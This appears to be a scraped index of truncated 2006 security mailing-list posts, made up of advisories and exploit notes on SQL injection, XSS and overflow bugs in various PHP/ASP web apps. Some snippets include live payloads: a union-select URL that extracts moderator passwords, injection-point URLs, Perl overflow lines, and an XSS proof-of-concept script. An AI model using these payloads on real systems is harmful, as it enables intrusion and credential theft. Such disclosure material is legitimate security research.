New eVuln Advisory:
Maian Weblog Multiple SQL Injection Vulnerabilities
http://evuln.com/vulns/101/summary.html

--------------------Summary----------------
eVuln ID: EV0101
CVE: CVE-2006-1334
Software: Maian Weblog
Sowtware's Web Site: http://www.maianscriptworld.co.uk/
Versions: 2.0
Critical Level

[ more ]  [ reply ]

New eVuln Advisory:
DSLogin Authentication Bypass Vulnerability
http://evuln.com/vulns/100/summary.html

--------------------Summary----------------
eVuln ID: EV0100
CVE: CVE-2006-1238
Software: DSLogin
Sowtware's Web Site: http://dsportal.uw.hu/
Versions: 1.0
Critical Level: Moderate
Type: SQL Inje

[ more ]  [ reply ]

------------------------------------------------------
HYSA-2006-007 h4cky0u.org Advisory 016
------------------------------------------------------
Date - Mon March 27 2006

TITLE:
======

phpmyfamily v1.4.1 CRLF injection & XSS

SEVERITY:
=========

Medium

SOFTWARE:
=========

phpmyfamil

[ more ]  [ reply ]

------------------------------------------------------
HYSA-2006-006 h4cky0u.org Advisory 015
------------------------------------------------------
Date - Mon March 27 2006

TITLE:
======

G-Book 1.0 XSS, Possible authentication bypass & mass message flood

SEVERITY:
=========

High

SOFTW

[ more ]  [ reply ]

Cross Site Scripting Attack CanfTool v1.1

=========================================

Description :

Conftool is a Web-based online system that was developed to supports many administrative tasks of conferences, workshops and seminars. It can help to make the management of events easier and much mo

[ more ]  [ reply ]

========================================================================

phpAdsNew / phpPgAds security advisory PHPADSNEW-SA-2006-001
------------------------------------------------------------------------

Advisory ID: PHPADSNEW-SA-2006-001
Date: 2006-Mar-27
S

[ more ]  [ reply ]

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200603-24
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
http://security.gentoo.org/
- - - - - -

[ more ]  [ reply ]

[+]nuked-klan
[+]www.nuked-klan.org
[+]founded By Moroccan Security Team
[+]special 10x to:CiM-TeaM,Esp!onLeRaVaGe,nabil,Dranzelz,SnIpEr_SA,www.lezr.com
[+]exemple
[+]http://[target]/index.php?file=Calendar&m=[sql]&y=2006
[+]have nice day

[ more ]  [ reply ]

#######################################
# Www.H4ckerz.coM --- Www.Hackerz.iR #
#######################################

**************************************************

Vendor : VGM Forbin
Target Page : resource/products/adm/login.asp
Action : Turn back too default.asp

Exploit :

[ more ]  [ reply ]

AkoComment is a well known and widely used add-on for the Mambo and
Joomla Content Management Systems. It allows users to post comments to
articles.

AkoComment 2.0 suffers from an SQL injection vulnerability
(components/com_akocomment/akocomment.php):

# Clear any HTML and SQL injections
$t

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

HPSBUX02108 SSRT061133 rev.1 - HP-UX running Sendmail, Remote
Execution
of Arbitrary Code

NOTICE: The information in this Security Bulletin should be acted
upon as soon
as possible.

Release Date: 2006-03-25
Last Updated: 2006-03-25

Potential Secu

[ more ]  [ reply ]

Hi
Vulnerable: SaphpLesson2.0
http://www.Arabless.com

Exploit :
http://Example.com/lesson/print.php?lessid=[SQL]

Example :
For Name & Passowrd
http://Example.com/lesson/print.php?lessid=-1%20union%20select%20null,nu
ll,null,ModName,null,ModPassword,null,ModPassword,null,ModPassword,null,
null,null,n

[ more ]  [ reply ]

[+]UBBThreads
[-]Founded By Moroccan Security Team
[+]we are [DaBDouB-MoSiKaR,simo64,ki11er,Dr.E-Vil,|ucifier]
[+]special 10x: to all friends SnIpEr_SA,Crash_OvEr_rIdE king-hacker,CiM-TeaM,ameer,Dranzelz,Esp!onLeRaVaGe and www.lezr.com
[+]Solution:Upgrade to a version 6.0.3
[-]exemple:http://[targe

[ more ]  [ reply ]

Theo,

>> ISS explained it to us and
>> told us that they had managed to craft an exploit in their lab, but
>> frankly we don't see how it can be practical.
>
> I know the guy who exploited it. He's better than you think he is.

I'm sorry, I was not trying to imply in any way that Mark was blowing

[ more ]  [ reply ]

You got it wrong the over-flow hapen's here

print $socket "user " . "A" x 10240 . "\r\n";

print $socket "user " . "A" x 21048 . "\r\n";

and there are more i put this right and re released this exploit.

[ more ]  [ reply ]

PoC can be optimized:

------------[ PoC code ]--------------
<script>
for(s='<a onclick=',i=0;i<8||(document.write(s+'>'));i++)s+=s;
</script>
------------[ 83 bytes ]--------------

[ more ]  [ reply ]

New eVuln Advisory:
DSDownload Multiple SQL Injection Vulnerabilities
http://evuln.com/vulns/99/summary.html

--------------------Summary----------------
eVuln ID: EV0099
CVE: CVE-2006-1232
Software: DSDownload
Sowtware's Web Site: http://dsportal.uw.hu/
Versions: 1.0
Critical Level: Moderate
Type:

[ more ]  [ reply ]

New eVuln Advisory:
DSCounter 'X-Forwarded-For' SQL Injection Vulnerability
http://evuln.com/vulns/98/summary.html

--------------------Summary----------------
eVuln ID: EV0098
CVE: CVE-2006-1234
Software: DSCounter
Sowtware's Web Site: http://dsportal.uw.hu/
Versions: 1.2
Critical Level: Moderate
T

[ more ]  [ reply ]

It's been a while since my last post to Bugtraq and it's been over
three years since I first announced Systrace. Here is:

Systrace 1.6: Phoenix Release
---------------------------------------

You all know that Systrace ships by default with OpenBSD and NetBSD.
However, Linux adoption has been hi

[ more ]  [ reply ]